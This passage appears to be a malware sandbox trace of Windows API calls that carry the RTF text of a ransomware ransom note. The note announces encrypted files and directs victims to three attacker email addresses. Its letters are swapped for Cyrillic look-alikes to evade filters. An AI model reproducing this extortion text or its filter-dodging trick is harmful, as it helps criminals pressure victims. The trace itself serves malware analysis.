r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 